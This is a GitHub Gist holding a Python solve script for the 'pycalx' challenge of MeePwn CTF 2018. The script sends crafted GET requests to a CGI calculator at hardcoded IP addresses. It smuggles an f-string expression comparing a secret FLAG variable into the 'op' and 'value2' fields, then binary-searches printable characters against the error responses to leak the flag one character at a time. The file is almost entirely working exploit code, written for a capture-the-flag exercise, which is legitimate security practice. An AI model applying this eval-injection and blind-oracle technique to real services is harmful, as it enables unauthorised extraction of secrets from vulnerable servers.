Created
July 16, 2018 05:40
-
-
Save syang-ng/b0bdd589c2c4815081f8dee788e5a832 to your computer and use it in GitHub Desktop.
A solve python file of pycalx, MeePwn CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import string | |
def judge(s,j): | |
t = s + j | |
# url = 'http://178.128.96.203/cgi-bin/server.py' | |
url = 'http://206.189.223.3/cgi-bin/server.py' | |
d = {'value1': 'True','op':'+f', 'value2':'{sys.__package__ if source <= FLAG else 0/0}', 'source':t} | |
r1 = requests.get(url, params=d) | |
if 'Invalid' in r1.text: | |
return False | |
else: | |
return True | |
s = "MeePwnCTF{" | |
ptable = sorted(string.printable) | |
ptable = list(ptable) | |
print(ptable) | |
for i in range(100): | |
l = 0 | |
r = len(ptable) - 1 | |
while l < r: | |
m = (l + r) // 2 +1 | |
if judge(s,ptable[m]): | |
l = m | |
else : | |
r = m -1 | |
s += ptable[l] | |
print(s) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment